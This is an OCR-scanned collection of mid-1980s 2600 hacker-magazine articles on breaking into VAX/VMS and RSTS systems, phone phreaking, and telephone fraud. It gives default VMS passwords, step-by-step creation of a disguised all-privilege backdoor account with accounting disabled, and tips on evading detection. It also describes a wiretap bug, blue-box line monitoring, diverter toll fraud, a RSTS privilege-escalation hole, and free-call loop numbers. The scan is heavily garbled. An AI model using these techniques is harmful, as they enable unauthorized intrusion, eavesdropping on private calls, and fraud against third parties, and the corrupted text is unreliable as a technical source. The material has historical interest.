concern that t sysop may be the caretaker
of people’s personal messages and writings.

We’'d like to hear other methods of out-
smarting these goons. It's not very hard.
For instance, you could have a bulletin
board dial-in at one location, which will
then call-forward to the real location, or
still another d location. Each of these
requires another phone line, but you’ll get
plenty of warning, especiall if a dummy
computer is set up at one of the locations.
And this is only the beginning.

We don’t enjoy having to suggest these
courses of action. We'd like very much to
be able to get on with what we’re supgﬂaed
to be doing: discussing telecommunications
and computers in our own way. Instead we
have to pause again to defend our right to
say these things. It's a necessary course
of action and, if we hold our heads up, it
will be a successful cne.

doesn’t matter



a guide to VMIS

by Lex Lathor and The Legion of Doom,/ Hackers

The VAX is made by DEC (Digital Equipment Corp) and can run a varicty of
operating systems. In this article, | will walk about the YMS (Virtual Memory
operating System). ]

Entrance

When you first connect with a VAX you type cither a return, a ctri=¢c, ora
ctri=y. It will then respond with something similar to:
LOD RECURSIVE SYSTEMS INC. VMS Vi
Username:

Password:

The most frequent way of gaining access to a computer system is by using a
*‘defanlt’ login/ password. In this example you may try LOD as the username and
RECURSIVE as the password or a combination of words in the opening banner
(if there is one) which may allow you access, otherwise you will have to try the
DEFAULT METHOD of entry. The version listed above (V4.0) is the latest
version to my knowledge of VMS, The more widely used version that | have seen
is W31,

When DEC sells a VAX [/ VMS, the system comes equipped with 4 accounts
wiiach are:

DEFAULT—This serves as a template in creating user records in the UAF {User
Authorization File). A new user record is assigned the values of the DEFAULT
record except where the systen manager changes those values. The DEFAULT
record can be modified but cannot be deleted from the UAF.
SYSTEM—Provides a means for the system manager to, log in with fuoll
prvileges, The SYSTEM record can be modifeed but cannot be deleted from the
UAF. :
FIELD—Permits DIGITAL field service personnel to check out a new system.
The FIELD record can be deleted once the system is instalbed.,
SYSTEST—Provides an appropriate environment for running the User
Environment Test Package (UETFP). The SYSTEST record can be deleted once
the system s installed.

Usually the SYSTEM MANAGER adds, deletes, and modifies these reconds
which are in the UAF when the system arrives, thus eliminating the default
passwords, but this 5 not troe in all cases,

The “default’ passwords that | have found to work are:

U sermmme FPasrword:
SYSTEM MANAGER or OPERATOR
FIELD SERVICE or TEST
DEFALLT USER or DEFAULT
SYSTEST UETF or SYSTEST

Orher typical VM S accounts are;
YAX YAX YMS YMS
DCL DCL DEMO DEMOD
TEST TEST HELF HELF
NEWS NEWS GUEST GUEST

GAMES GAMES DECNET DECNET

O 8 combination of the varous usernames and passwords. If none of thess
get you in, then you should move on to Lhe next system unless you havea way (o
get usernames | passwords, like from trashing, stealing passwords directly, or by
some other means.

You will know that you are in by receiving the prompt of a dollar sign "$". You
will be popped into the default directory which is dependent on what account
you are logped in as. If you get in as the system manager, you have full access. If
you et in on the Deld or systest accounts you may or may not have full aceess but
vou will have the privileges to give yoursell full access. To give privileges to
yoursell: $ SET PROCESS /PRIVS=ALL

Omnee you have full privs, you can access any directory and any file, and also
run the AUTHORIZE program which will be explained.

The VMS system has full help files available by typing HELP. You can use the
wildcard character of * to list out info on every command: 3 HELFP *,

When you first logon, it may be o your advantage 1o get a list"of all users
currently logged onto the system if there are any at all. You can do this by: §
SHOW USERS. Then you should get something like this:

YAX /YMS Internctive Lisers - Total = 4
O1-MAY-1985 1]1:37:21.72

OFPAD: DEMO 004 D04C
TTD2: LAWRENCL 00500044
TXB1: FIELD MEDO4E
TXEBE3: TWYLYSYS 011908057

It is highly recommended that if you are logged on in the day and there are
people logged in, especially the system manager or the account you are logged on
az, logout and call back later. | have found that no matter what system you are
on, the best way 1o remain undetected is 1o call when no one is on the system.
You do not want 1o call 100 Late since the system keeps a record of when each user
kogs in and out,

To communicate with other users or other hackers that you ans on the system
with, use the PHONES Utility: 3 PHONES Username. If the system has DEC-
net, you can sec what available nodes there are by: § SHOW NETWORK. I you
have mail the system will tell you so after logging in, simply type: $ MAIL. This
will invoke the Personal Mail Utility; you can use help from there.

There are a lot of commands and many are not too useful (to the hacker
anyway), so 1 will not go into detail. One thing about VMS, there is plenty of
on-line help available which will enable you to learn the optrating system lairly
well,

Directories

To sec what you have in your directory type: 3 DR, To get a list of directories
on the system type: § DIR [*.*].

When a VAX VWS is first installed . it comes with nine directones which are
not listed when you execute the DIR [*.*] command. [5YS5L1B}—vanous macro
and object libraries; [SYSMSG }—systern message fikes; [SYSMGR }—{fibes used
in managing the operating system; [SYSHLP}—1text files and help libranes for
the HELP utility; [SYSERR }—directory for the error log file (ERRLOG.SYS);
[SYSTEST)—files used in testing the functions of the operating system;
[SYSMAINT]—system diagnostic programs; [SYSUPD]—files used in
applying system updates; [SYSUPD. EXAMPLES}—sample driver programs,
user-written system services, and other source programs; [SYSEXE}—the
executable images of most of the functions of the operating system.

Inside these directorics are files with the following file-types:

File-type Deescription: Command:

Jxt Anci text file TYPE file-nams
hip System Help file TYPE file-name
adat Data file TYPE file-name
.- Messape e TYPE file-name
doc Documentation TYPE file-name
Jog Log fike TYFE file-roame
JHTT Error mag file TYFE fike-name
] Sequeenitial file  TYFPE file-name
o738 System filke FILE-NAME
£L1E Executable file FILE-NAME
w. . Corurand file COMMAND NAME
. Basic (He RUN file-rome

There are others bul you won see thern as much as the above. You can change
directories either by using: 5§ CHANGE [DIR.NAM] or 5 SET DEFAULT
[DIR.NAM]

You can now list and execute the files in this directory without first typing the
directory name followed by the file name as long as you have sufficient access. 1f
vou dont have sufficient access you can still view files within directones that yvou
cannot default to by: 3 TYPE [LODDIRJLOD.MAILL Thes will list the
contents of the ke LOTLMAILI in the directory of [LODLT

The use of wildcards is very helpful when you desire to view all the mail or
something on a system. To list out all the users mail if you have acoess type: §
TYPE[*.*1*.MAL*. Asyou may notice mail files hawve the extension of MAT ar
the end. The ;1 or ;2 etc. are used to number files with the same name,

(This is the first of an ongoing series on the VMS operating svstem. Be fure 1o
look in funere issuaes of 2600 for more in this series. I vou want 1o see an article
about a particular computer or operating system, k21 us know, )



The Infinity Transmitter—An Old Bug That Had Its Time

by Howard

There is always a great hush when the term infinity
transmitter is mentioned, as if it were some amazing secret
device, but it can be simply explained. The infinity transmitter
or harmonica bug is a device installed within a target'’s phone.
This device allows a person to call the phone and listen in on
him while he is quite unaware. This device has a few problems,
the biggest of which is that the target’s phone must be connected
to cither a Crossbar or Step by Step swiltch. The other
drawback is that the bug must be installed in the target’s phone.
This means one must enter the house, place the bug in the
phone, and rewire it as required. This bug could also be
detected if the tarpet were to attempt to use his phone while you
were monitoring his activities. Since you are on his phone line
listeming to him, he might think it strange that his phone was
being used, especially if he has any technical background. Let’s
see how to use the bug once it is installed.

Onece installed all the observer has to do is call the target's
phone number. After the observer dials the last digit, he sendsa
specific tone down the phone Line which causes the bug to
answer the phone before it rings. The frequency of the tone is
user selectable and set dunng the construction process. The
exact frequency of the tone is quite unimportant.

This type of bug can be used from anywhere there is a phone,

The potential distance is infinite hence the name “infinity
transmitter.” Ending the audio visit with the target is just as
easy as starting it. A different frequency tone is sent down the
line telling the bug to hang up. Overall, a very simple concept.

The reason this bug works on Step by Step and Crossbar
switches 15 because in these systems the audio and ring
generator are connected to the phone called before it is
answered. So it is possible for the bug to answer the phone
before the ring capacitor is fully charged by the ring generator.
ESS and DMS switches do not connect the audio to the called
phone line untilafter the phone is answered, making the infinity
transmitter useless. In the case where the user does not apply
the pick-up tone immediately, the phone would ring, then =*~p
suddenly. Therelore some skill is required to avoud tipping e
target off to the fact that he i1s being watched.

Construction of this device should be relatively easy for
someone with a little expenence in the electromics world. The
bug would be isolated from the phone by using two non-
polarized capacitors of 1 uf or better. It would mainly consist of
two frequency detectors. One would connect the audio from the
mouth piece to the phone line and answer the phone when the
pick-up tone is detected. The other would disconnect the audio
from the mouth piece from the phone line and hang up the
phone when the hang-up tone appears.



Reaching Out On Your Own

by Forest Ranger

Verification isa very touchy subject. The telephone company
wants to keep verification secret from anyone beyond telco
employess. But as phone phreaks should know that is quite
impossible. There are two types of operators that do
verifications. *0" (TSPS) for local verifications and 10
(INWARD) operators for venfications beyond your NPA.
They use their operator console, but other people use blue
boxes.

KP:NPAHHXX+NPA+XXX+XXXX:ST

The first NPA (area code) is yours and the 0 will get you on
your TSPS operator lines. The next XX part is an area
identifier. They are 00, 11, 22, 33, 44, 55, 66, 77, 88, 99. There
are ten possible choices depending on which area you are in.
For example, blue box verification for Michigan would be
KP:313+0+66+NPA+ XXX+ XXXX:ST. The second NPA is the
NPA of the number you are going to verify. The XXX+XXXX
part is the rest of the number you are going to verify.

Once you have routed your verification you will receive a series
of clicks (tandems stacking), then you will hear a beep and you
will be on the line. You wont understand what anyone is saying
because everything will be scrambled. The verification will last
about thirty seconds. Then you will be beeped out and finally
disconnected.

Federal laws regarding line listening have become much
stronger—especially after 1974 when a subcommittee of the
House of Representatives held a public hearing called
“Telephone Monitoring Practices by Federal Agencies™. At this
hearing it was discovered that Bell had listened in to lines of
their employees and had the power to listen in on anyone. This
shocked many people and made federal laws concerning such
activity much stronger. My point is don't abuse this
verification, because all you need is a simple descrambler from
Radio Shack to descramble the conversation on the line.



PURSUIT FOR PEOPLE

PC PURSUIT Cities and Access Nusbers

On August 7, GTE Telenet announced a new service which, if
handled properly, will usher in a whole new phase of computer
communications.

The service is called PC Pursuit and it enables people to
connect their computers to other computers for $25 a month
(plus a start-up fee of $25). In other words, a hobbyist in New
York can connect his computer to a bulletin board in California
and not have to pay for a long distance call. The “computer
conversation” goes through GTE Telenet, a packet-switching
network for computers, previously used exclusively by large
corporations.

“To access the service,” GTEs press release explains, “a user
calls his PC Pursuit access number and is prompted to enter his
home phone number and make a request for a destination
phone number ina distant city. If the user’s telephone number is
not authorized, the phone call is terminated and a record of the
call is generated. If the number is authorized, the subscriber is
called back and automatically connected to the desired
telephone number in the distant city, which could be a specific
database or remote PC user. GTE Telenet is able to maintain
full accounting of the origin and destination of all calls. Each
user session can last a full hour, and users may access the service
as many times a month as they wish.”

PC Pursuit represents the first time a major corporation has
attemnpted to win over computer hackers rather than intimidate
them. J. David Hann, president of GTE Telenet, says, “We
hope that we will be providing a safe, positive outlet for
computer hobbyists, giving them inexpensive, virtually
unlimited access to hundreds of free databases and bulletin
boards. By removing the prohibitive cost from recreational
data communications, perhaps PC Pursuit will encourage
growth and advancement rather than mischief and abuse
among hobbyists.”

We think it’s great. At last we are being encouraged to take
advantage of technology without paying ridiculous prices. We
look forward to the day when all “long-distance™ calls will cost
the same as local calls, and free databases be made available to
everyone.

Naturally we are a little concerned that all of this data will be
going through GTE Telenet, ie. just about every hacker
bulletin board would at some point be called through it. It
wouldn't be too difficult to spy on someone's data from within
the system, but we feel that's already the case at present with ail
communications. As always, we recommend scrambling
sensitive or private communications.

It’s unlikely that this new system (co-developed by Digital
Pathways, Inc. of California) will be victimized by hackers
because of the callback feature. Still, if there is a way to defeat
this, you can count on it being discovered. Even at this point,
though, the most that any one person could cheat the service
out of is $25 a month.

Our main complaint with PC Pursuit is that it isnt available
in nearly enough places. Only the largest of cities can use it to
call other large cities. A list of dial-ups appears in this issue.
When GTE finally gets around to implementing nationwide or
even worldwide service, they will have a powerful, trend-
setting, people-oriented product.

(More info can be obrained by 1alking to a human at
8003684215 or a computer at 8008353001.)

AREA CODE LOCAL ACCESS CITY
CITY SERVED NUMBER ACCESS CODE
Atlanta 404 384-2873 Atlanta
Boston 617 423-0547 Boston
Chicaga 312 545-3927 Chicago
Dallas 214 551-7094 Dallas
Denver 303 b71-5146 Denver
Detroit 313 941-9555 Detroit
Houston 713 227-5742 Houston
Los Angeles 213 524-b042 LA
New York 212 475-3738 New York
Philadelphia 215 374-0613 Philly
San Francisco 415 J98-1134 San Fran
Washington D.C. 202 659-2863 Hash DC
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AND THEY CALL US CROOKS?

by Silent Switchman

A friend and 1 got together one day and we said, “Let’s see if
we can make some money trying to help out various
communications companies by finding faults in things where
they are losing money.” It is sort of like patching holes in an
automobile tire to keep the air from escaping. | am sure that
some of the readers out there have had said to themselves, “Gee,

“look at this. If this phone company only knew that yvou could
take advantage of their system that way, | bet that T could trv to
make a little money and help them out and they can help me
out.” It is a thought that a phone phreak often has—to tell the
big company the flaws in its systems and to be rewarded-a
symbiotic relationship.

In one of the new digital switching systems, we found some
very good ways where you can make long distance calls for free
from any telephone—rotary or touchtone. When contacting
one of the major manufacturers, they said, “We will test this
out.and if it's worth anything, we will let you know.™ | had also
told this company several other things before, and they had said
tome then. *We will let this be a free sample to prove yourself to
us.” So | gave them two very good free samples as to problems
in their system. including the name of one system saboteur who
was going around destroying systems (switching systems, that
is). This was to be a sample as to what | was going to do for
them.

Then when 1 found this other thing where any and everybody

inthe USA could make a free call ona GTD#S digital switch.-
I didn’t come right out and tell them exactly what it was. [ said,
“If vou pay me a small consultant’s fee of 3300, | could save you
several hundred thousand dollars a month. They were not
interested; they wanted me to tell them first.and it started a big
thing.

This friend of mine contacted a very large long distance
carrier (with an all American name) and told them of problems
with their long distance company. They promised him a

consultant fee of $30.000, which may sound pretty hefty, but
would have paid for itsell in a short period of time. They solved
many of the problems in their network, and when it finally came
down to pay the bill {(my friend had actually spent time and
money), the long distance carrier said “"We do not feel we owe
you anything. But you can give us information about our
system any time you want to.” The big long distance phone
company with the American-sounding name said that one
reason that they were not going to pay the individual is because
they had been screwed by a phone phreak in the past who was
passing around the information, creating the problem and then
trying to make money on it. My friend who simply tried to
make some money contracting did not have that in mind. The
company had originally said that they “pay for information
that is used to stop problems within our system.™ He reminded
them of this comment, and they since have denied it. So this
very large company has now reneged on a verbal contract and
they have made no attempt to reimburse him for his expenses.

My experiences with various companies have led me to
believe that there is no real way for someone like me to provide
expert advice. So here | am, holding a secret to the GTD#5
switch, where people can make free calls. [ would estimate that
the cost 1o the company would be from $100,000 to $125,000
per month, and it is increasing as more and more people take
advantage of this bug. The GTD#5 (General Telephone Dhgital)
is made by Automatic Electric.

So. basically, the moral of this story is: Do not trust a
company that you are ever going to do business with, whether it
is a telephone company or a big corporation. Donot callupan
engineer or a vice president of a company or somebody in
telephone security, and do not believe it when they tell you that
they will pay for services rendered. If they ever make you a
promise. get it in writing, because they will cheat you.

{ Al the request of the author, the flaw in the GTDHS switch will
not be printed in this issue, but in next month's issue.)



an interesting diversion

by Lord Phreaker

A diverter is a form of call forwarding. The phone phreak
calls the customer’s office phone number after hours, and the
call 1s ‘diverted’ to the customer's home. This sort of service 15
set up 50 the phone subscriber does not miss any important
calls. But why would a phreak be interested? Well, often
diverters leave a few seconds of the customer’s own dial tone as
the customer hangs up. The intrepid phreak can use this brief
window to dial out on the called party’s dial tone, and,
unfortunately, it will appear on the diverter subscriber’s mll.

How Diverters Are Used

One merely calls the customer’s office phone number after
hours and waits for him or her to answer. Then he either
apologizes for 'misdialing a wrong number’ or merely remains
quiet so as to have the customer think it's merely a crank phone
call. When the customer hangs up. he just waits for the few
seconds of dial tone and then dials away. This would not be
used as a primary means of calling, asit is illegal and as multiple
‘wrong numbers’can lead to suspicion, plus this method usually
only works at night or after office hours. Diverters are mainly
used for calls that cannot be made from extenders.
International calling or the calling of Alhance Teleconferencing
are  COmMMon possibilities. Another thing (v
remember 15 that tracing results in the customer’s phone
number, so one can call up TRW or that DOD NORAD
computer number with less concern about being traced.

Some technical problems arise when using diverters, so a
word of wamning is in order. Many alternate long distance
services hang up when the called party hangs up. leaving one
without a dial tone or even back at the extenders dial tone. This
really depends on how the extender interfaces with the local
phone network when it comes out of the long haul lines. MC]

and I'TT are known to do this frequently. but not all the time. Also, hanging on
the line until "dial window® appears doesnt work every time.

Now the really paranoid phreaks wonder, "How am | sure this isending upon
someone else’s phone bill and not mine?” Well, no method 15 1006 sure. but one
should try to recognize how a full disconnect sounds on the long distance sen ce
of his choice. The customer’s hanging up will generate only one chick, because
most diversions are local, or relatively local as compared with long distance
Also, the customer hanging up won't result in winks- -little beeps or tweeps of
2600 hertz tones heard when an in-band trunk is hung up. The 2600 hen tone
returns toindicate the line is free, and the beginning burst of it is heard as it blows
you off the line. Also, if there arc different types of switching involved. the dhal
tones will sound radically different, especially between an ESS and a Cross-Bar

(X -Bar) or Step-by-Step. as well as sounding “farther away™. These techniques
are good for understanding how phone sysiems work and will be useful for
future exploration. The really paranoid shouid. at first, try to daal the local AN
{Automatic Number ldentilfier) number for the called area and listen 10 the
number it reads oif, Or one merely calls the operator and says, “This 15 repair
service. Could vou tell me what pair I'm coming in on?” If she reads off the
phreak’s own number, he must Ury again,

‘ How to Find Diverters

And now a phreak must wonder. “"How are these beasties found™™ The best
place to start is the local Yellow Pages. Il one looks up the office numbers Tor
psvchiatrists. doctors, real estate agents. plumbers, dentists, or any professional
who generally needs to be in constant contact with his customers or would be
afraid of losing business while he is at home. Then one merely dials up all these
numbers after 6:00 or so, and listens for muliiple clicks while the call goes
through. Since the call is local, multiple clicks should not be the norm. Then the
phreak merely follows through with the procedure above, and waits for the
window of vulnerahility.

Other Forms of Diverters

There are several other forms of diverters. Phreaks have for vears known of
recordings that leave a dial tone afier “ending. " One of the more famous was the
DOD Fraud Hotlines after hours recording. which finally ended . alier muluiple
clicks and disconnects, at an Autovon dial tone. One common practice occurs
when a company [inds its PBX being heavily abused alter hours. It puts i a
recording that says that the company cannot be reached now. However i ofien
happens that after mubtiple disconnects one ends up with a dial tone inside the
PBX —1thus a code 1s not needed. Ako.whendalinga company and alteralking
{social engineering) with employees, one merely waits for them to hang up and
oftena second dial tone is revealed. 976 (dral-it) numbers have been known Lo do
this as well. Answering services also suffer from this lack of security. A pood
phreak should learn never to hang up on a called party. He can never be sure
what he is missing. The best phreaks are always the last ones 1o hang upa phone.
and they will oficn wait on the line a few minutes until they are sure that s all
over. One stem of clarification—the recordings mentioned above are nor the
teleo standard “The number vou have dialed...” or the like. However, iclco
newslines have been made to suffer from the diverter mis-disconnect.

Dangers of Diverting

S0, nothing comes free. What are the dangers of diverting? Well, iechmically
one is committing toll fraud. However, a list of divenier numbers is just that, a list
of phone numbers. Tracing is a distinct possibility. but the average divener
victim doesnt have the technical knowledge to wentifv the problem.

There has been at least one investigation of diverter fraed involving the FBI
However there were no arrests and the case was dropped. 1t seems that one
prospective victim in Connecticut realized that he was being defrauded after
receiving multiple phone calls demanding that he put his divenier up now so that
a conference call could be made, He then complained to the FBL However, these
aware customers are few and far between. and if a phreak does not go 1o such
radically obnoxious extremes. it is hard to be caught. Unless the samic number I
used to place many expensive calls,



more info on VMS

by Lex Luthor and The Legion of Doom/ Hackers
(This is the second installmemt of an in-depth guide ro the VMY operating

systern. Look 1o future issues for more on VMS and other operating systems. )

Privileges
Privileges fall into seven categorics according to the damage that the user
possessing them could cause the system; °

None Mo privilepes
Normal Minimum privileges to effectively use the system
Group  Polential to interfere with members of the same group
Devour  Potential 1o devour noncritical system-wide resources
System  Polential 1o inlerfere with normal system operation
File Polential to compromise file security
Al Polential to control the system (hehe)

The UAF

The User Authorization File contains the names of users who may log into the
system and also contains a record of the user’s pnvileges, Each record in the
UAF includes the following:

. Name and Password

1. User ldentification Code (UIC)}—Identifies a user by a group number and a
memiber number,

3. Defauh file specilication— Has the default device and directory names for file
ACCESS.

4. Login command file—Names a command procedure to be exccuted
automatically at login time.

5. Login Mags— Allows the system manager (o inhibit the use of the CTRL-Y
function. and lock user passwords.

6. Priority—Specifies the base priority of the process created by the user at login
fume.,

7. Resources— Limits the system resources the user may perform.

8. Privileges—Limits activities the user may perform.

If you have SYSTEM MANAGER privileges. you will be able toadd, delete.
and modify records inthe UAF. The AUTHORIZE utility allows vou 1o mod ify
the information in the UAF. It is usually found in the [SYSEXE] directiory. The
commands for AUTHORIZE are:

ADD username [qualificr..J—Adds a record 1o the UAF

EXIT {or CTRL-Z}—Retumns you 1o command level
HELP-—Lists the AUTHORIZE commands

LIST [userspec] [/ FULL}—Creates a listing file of UAF records
MODIFY —Modilies a record

REMOVE usecrname- -Deletes a record

SHOW —Displays UAF records

The most uselul besides ADD is the SHOW command. SHOW displays
reports for selected UAF records. You can get a ' BRIEF listing ora /FULL
listing. But before you do that, you may want 1o make sure no one is logged on
besides you, And to make sure no one can log on: § SET LOGINS
{INTERACTIVE=D.

This establishes the maximum number of users able o log in Lo the system—
this command does not effect users currently logged on. This is not really needed
and looks very suspicious. Mow, 10 list out the userfile do the following:
$ SET DEFAULT [SYSEXE]

5 RN AUTHORIZE

UAF) SHOW * /BRIEF _

Owner Username LUIC Accourt  Privs Pr Default Directory
SYSMANAGER SYSTEM [001,004] SYSTEM All 4 SYSSSYSROOT:
FIELDSERYICEFIELD [®1.010] FIELD Al 4 SYSSSYSROOT:

Togeta full report: (if vou used the SET DEFAULT command earlier and the
defaul directory is the [SYSEXE] directory, then you don't have to re-type it}
$ RUN AUTHORIZE (or il you still have the UAF) prompt):

UAF) SHOW * /FLLL

Username: SYSTEM Owner SYSTEM MANAGER

Account: SYSTEM VUIC: [001,004]

CLI: DCL LGICMD:

Default Device: SYSSROOT:

Default Directory: [SYSMGR]

Login Flags:

Primary days: Mon Tue Wed Thu Fri

Secondary days: Sat Sun

Mo hourly restrictions

PRI{: 4 BYTLM: 20480 BIOLM: 12
FRCLM: 10 PBYTLM: 0 DIOLM: 12
ASTLM: 10 WSDEFAULT: 150 FILLM: 20
ENQLM: 0 WSQUOTA: 350 SHRFILLM: 0
TQELM: 0 WSECTENT: 1024 CPU: no limit
MAXJOBS: 0 MAXACCTJOBS: 0 PGFLOQUOTA: 100000
Privileges:

CMKRNL CMEXEC SYSNAM GRPNAM ALLSPOOL DETACH
DIAGNOSE LOG-I0 GROUP ACNT PRMCEB PRMMBX PSWAPM
ALTPRI SETPRY TMPMBX WORLD OPER EXQUOTA NETMBX
VOLPRO PHY-IO0 BUGCHK PRMGBL SYSGBL MOUNT PFNMAP
SHMEM SYSPRY SYSCLK

Unfortunately, you cannot get a listing of passwords, but you can get the hist of
users as shown above, The passwords are encrypted just likea UNIX system, but
you cannot even sec the encrypted password unless you ook at the actual file
that the UAF draws its information from.

Adter listing out ali the users, you f1gure that since all these other people are on
here, why cant | have my own account? Well, if vou have sufficient privs. vou
can!

UAFJADD SYSLOG /PASSWORD=LEGION : l‘:'l{‘=[1:l'|al.ﬂl}f:|]
JCPUTIME=D | DEVICE=SYSSSYSROOT-

- ACCOUNT=VMS 'DIRECTORY=[SYSERR] PRIVS=ALI
(OWNER:=DIGITAL 'NOACCOUNTING

1} You ADD the username SYSLOG (you do not want 1o create a user like
Lex, since it will be too obvious and not look right. | have had much suceess in
nol being detected with this account.

2} You specify the password for the SYSLOG account.

}) Youassigna UIC (User ldentification Code) which consists of two numbers
in the range of 0 through 377, separated by a comma and enclosed in brackets.
The system assigns a UIC to a detached process created for the user at login time

User processes pass on this UIC 1o any subprocesses they create. Processes can
further assign UICs to files. mailboxes, devices. eic. You can assign the same
UIC to more than | user.

4) CPUTIME is in delta format, 0 means INFINITE. which is what we will use.
3} Youspecily the DEVICE that isallocated to the user when they login, which
for our purposes, is the SYSSSYSROOT device. other devices are:
SYSSDEVICE. SYSSSYSDISK, DBI, etc.

6} Specilying an account is not necessary, but il vou do. use one that is listed as
another user’s, since you dont want Lo atiract 100 much attention to the account.
7} The default directory can be a directory currently on the system or it can be
created afier the UAF record is added. Y ou may want 1o use one of the ones
mentioned earlier on. but be sure not 1o use the [SYSMGR] directory.

B) Youcanselect one of the privileges listed earlier. We will use. of course, ALL.
9) OWNER 15 similar to the ACCOUNT gqualifier; again. look at what the other
users have listed.

10) NOACCOUNTING will disable system accounting records, thus not
adding information 1o the ACCOUNTING.DAT file.

After the UAF record is successlully added. you should create a directory by
specifving the device name. directory name, and UIC of the UAF record.
Protection for the "ordinary ™ user is normally. Read, Write, Execute, and Delete
access for system. owner, and group processes, and read and execute access for
world processes. Tocreateadirectony: SCREATE SYSSS5YSROOT[SYSLOG)
s DIRECTORY [OWNER-UIC={014.006]).

Accounting

For accounting purposes, the VAX: VMS system keeps records of the use of
the system resources. These records are kept in the accounting log lile:
SYSSESYSDISK: [SYSMGR] ACCOUNTING. DAT. which is updated each
time an accountable process terminates, cach time a print job is completed. and
cach tine a login failure occurs. In addition, users can send messages 10 be
inseried into the accounting log Nile.

Tosuppress the accounting function and thus avold accounting for the use of
system resources requires privilege, The - NOACCOUMNTING gualifier is used
to disable all accounting in a created process.

Y ou may want 10 see how aften the account you are using or another account
logs in. You can do this by: § ACCOUNTING USER={SYSLOG).

Deut! T it Tyt Saalet yput Liserrmme 11} Lomarce Stalw

M-JAN-1905 0025  FROCESS INTERACTIVE SYSLOG s s MONE  000180%)
1-FEBR-1'E M 115 FROCESSINTERACTIVE SYSLOW b A® NONE DOOER1 13
Ol-FAAY-19ES Ilcdicll PROCESSINTERACTIVE SYSLOWG ool 4 NONE Lol ]

Thas is the accounting informanon for the user:SYSLOG which shows that
the user has logged on three times so far. Some vsers mayv be on hund reds ot
times, thus, it would be an ideal account 1o use abuse since it will not be likel
that the unauthonzed acoesses will be detected,

Logging OF

Simply type: 3 LOGOUT, The system will displa e usual CPU time used
and other statistics.

Shutting Down The System

Many files | have read tell you how to destroy a system, shut it downete. | do
not recommend nor practioe any type of malicious activity. | do realize. though,
that inthe process of gaining access to a svstem. the Hacker or System Cracker,
whichever you prefer. gets bored or learns as much as he wants to leam about the
svstem. | will explain how to shut down the system correctly. Thiscan be used in
case vou think you screwed the system and shutting down may be the only way 1o
avond considerable damage.

The normal reasons for shutting down the system are: danger of power loss,
need 1o backup the system disk, hardware or software problems. or to use the
systemn for a specific application, Below is the command procedure which
describes how to shut down the system in an orderly fashion. This procedure is
contained in a command fike,

PROCEDLURLE:

1) Type the following command to begin the shutdown procedure:
S @SYSSSYSTEMSHUTDOWMN

1) Enter time till shutdown:

How many minutes until shutdown?:5

3) You will now have to give the rexson for shutting i down:
Reason?:possible system damage

4) Respond by typing a Y or N to the following question:

Do you wand to spin down the disks™:N

Alter a shon period the message: SYSTEM SHUTDOWN COMPLETE
USE CONSOLE TO HALT SYSTEM.

At this point, the system cannot be totally shut down. but all processes are
halted. thus. not causing any further damage to the system. (Remember, the
reason you should have shut it down was because potential damage to the system
could have occurred and you were acting in the best interest of the system.)

Reading Material

For general background information about the VAX VM3 system, sec the
VAX. VMS Primer and the VAX VMS Summary Description and Glossary.
The following VAX ' VMS documents may also be useful:

VAX/VYMS Command Lanpuage Lser’s Guide

YAX/VYMS Guide to Using Command Procedures

VAX/VMS Release notes

YAX-11 RSX-11M User's Guide

VAX-11 Software Installation Guide

VAX/YMS Systemn Manager’s Guide

VAX/YMS System Messages and Recovery Procedures Manual
YAX-11 Litilities Reference Manual

RMS-11 User's Guide

For controlling network operations, refer 1o the DECNET-VAX System
Manager’s Guide.



RSTS: A Trick or Two

by The Marauder/Phoneline Phantoms
(What follows is a specific discussion on some aspects of the
RSTS operating system which is usually found on a PDP-11.
This computer is quite popular and found in many schools. For
thase who are unfamiliar, a general survey of RSTS willappear
in future issues.)
Free Space
What is free space? Well, on all RSTS/E systems, there isa
portion of the disk assigned to *free space’, which is basically
space free for the saving of files. When you IS5U¢ a save, Or open
command, RSTS/E simply grabs however many blocks are
needed from this space, and stores your file there. Then this
space is marked as being ‘unavailable’. When you delete, or kill
a file the exact opposite happens, RSTS/E moves a few
pointers, which mark this space as ‘available’, (or free) space,
leaving the entire file'999% of the time totally intact!!. Here isan_
algorythm for a program to read {ree space:
10 open ‘file.ext’ as file 19%
20 put #1%,.record X XXX X%
30 close 195
40 end
where: file.ext = any valid filename you want the free space to be
placed in. XXXXX% = any integer between | and 32767
inclusive, telling how many blocks of free space you wish
transferred into ‘file.ext’.
For example, if | wanted to read 500 blocks of free space into
a file called “free.spc™ | would write my program as follows:
10 open “free.spc™ as file 19
20 put #1%,record 3005,
30 close 19
40 end
Now in my directory would be the file “free.spc™ holding 500
blocks of free space. You can now simply pip, teco, etd. or any
text editor to examine the contents of this file. Whatever was
deleted in the past few hours will usually be 99% intact. This
includes BASIC programs. any ASCI1text files (compiled code

is untranslatable so it%s useless). This is especially useful at
schools in the beginning or end of year when the administration
i5s deleting and creating new accounts.

NOTE: You (and anyone else) can prevent files from going to
free space in a readable format. When deleting a file, program.
etc.. use the following.

pip prog.ext/wo/lo (on RSTS/ E v6.00 and earlier)
pip prog.ext/de/er (on RSTS/E v7.00 and later)

What this does in effect is tell pip to ‘write zeroes® over the
entire file before releasing it to free space. { Few persons know to
use this, and fewer still ever use it!!)

Programs With ‘Holes' in Them

On most systems there are usually a few programs that have
holes in them that can be used to your advantage. Herearea few
1 have found.

If the system you are hacking supports a "basic +2" runtime
system ( prompts with ‘well??”) from the basic keyboard monitor
(from ‘Ready?.

sw bp2com
esp
Z (control z)

This is a legendary bug in the older versions of RSTS/E;
what it basically does is switch to basic plus 2 as the default
keyboard monitor, executes the ccl that evokes the rpg editor
(esp), then control z's (exits) out of it leaving full privileges
intact!!! So you can now run any program on the system!

Arnother big hole i have found is in the program
*(1.2)rpgdmp.tsk’. which is an rpg ASCII dump program, used
for dumping rpg source code and checking for stray control
characters that have a way of getting into rpg source and
playing hell with the compiler. To use it simply try:

run (1. 2)rpgdmp

It will ask you for a file name, then output device. You can
give it any file name on the system (like $acct.sys), and it will be
dumped to whatever output device you selected!!! (screen. Ip:,
or disk)



here’s the secret!

by Silent Switchman

{Last month, we presented a story of a phone phreak, who
knew of various flaws in various phone systems but was unable
to share his knowledge with the company in guestion. He asked
to be paid a small consuliant fee, but this was denied him. So,
we gave him a means of making this public.)

Check the location of the nearest GTD#5 switch made by
Automatic Electric. ltisusually installed by a general telephone
company of your local area. You will {ind that the loop
numbers do not supervise on either side. Numbers that do not
supervise (non-supe) do not charge for the connection; they are
free. This 1s different from toll-free service because the person
you call pays for that. Toll-free calls are treated more like a
collect call. In this case. the call is free like calls to some
telephone company test numbers.

Loop numbers are two or more numbers that connect when
each one is called at the same time.

This presents a means for two people anywhere in the
country to call each other for free. The GTD#HS switch is being
installed all over the country and this works in most of them,
